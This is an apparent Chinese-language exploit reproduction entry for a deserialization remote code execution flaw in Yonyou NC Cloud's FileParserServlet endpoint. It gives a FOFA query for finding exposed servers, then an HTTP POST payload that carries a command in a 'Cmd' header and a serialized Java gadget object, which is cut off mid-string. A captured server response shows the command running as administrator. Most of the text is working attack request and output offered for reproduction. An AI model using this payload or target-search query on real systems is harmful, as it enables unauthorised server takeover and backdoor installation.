

Y8-22用友-NCCloud-反序列化RCE

漏洞描述:

用友 NC Cloud FileParserServlet接口存在反序列化代码执行漏洞,攻击者可通过该漏洞在服务器端任意执行代码,写入后门,获取服务器权限,进而控制整个web服务器。

网站图片:



Copyright ©2019用友网络科技股份有限公司版权所有

网络测绘:

fofa语法:

FOFA: app="用友-NC-Cloud"

漏洞复现:

payload:

```
POST /service/~uapss/nc.search.file.parser.FileParserServlet HTTP/1.1
Host: your-ip
Cmd: whoami
Accept-Encoding: gzip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Content-Length: 20434

{{unquote("'"'\xac\xed\x00\x05sr\x00\x11java.util.HashSet\xbaD\x85\x95\x96\xb8\xb74\x03\x00\x00xp\x0c\x00\x00\x00\x02?@\x00\x00\x00\x00\x01sr\x004org.apache.commons.co
```

效果图:

Request

< > 数据包扫描 热加载 构造请求

1 POST /service/~uapss/nc.search.file.parser.FileParserServlet HTTP/1.1

2 Host : 8081

3 Cmd : whoami

4 Accept-Encoding : gzip

5 User-Agent : Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15

6 Content-Length : 20434

7

8 {{unquote("'"'\xac\xed\x00\x05sr\x00\x11java.util.HashSet\xbaD\x85\x95\x96\xb8\xb74\x03\x00\x00xp\x0c\x00\x00\x00\x02?@\x00\x00\x00\x00\x01sr\x004org.apache.commons.co

Responses 31bytes / 96ms 美化

1 HTTP/1.1 200 OK

2 Set-Cookie : JSESSIONID=168DA4802A0D4DA880

3 Date : Tue, 05 Dec 2023 15:29:29 GMT

4 Server : server

5 Content-Length : 31

6

7 izc9q8pgdepq9jz/administrator

8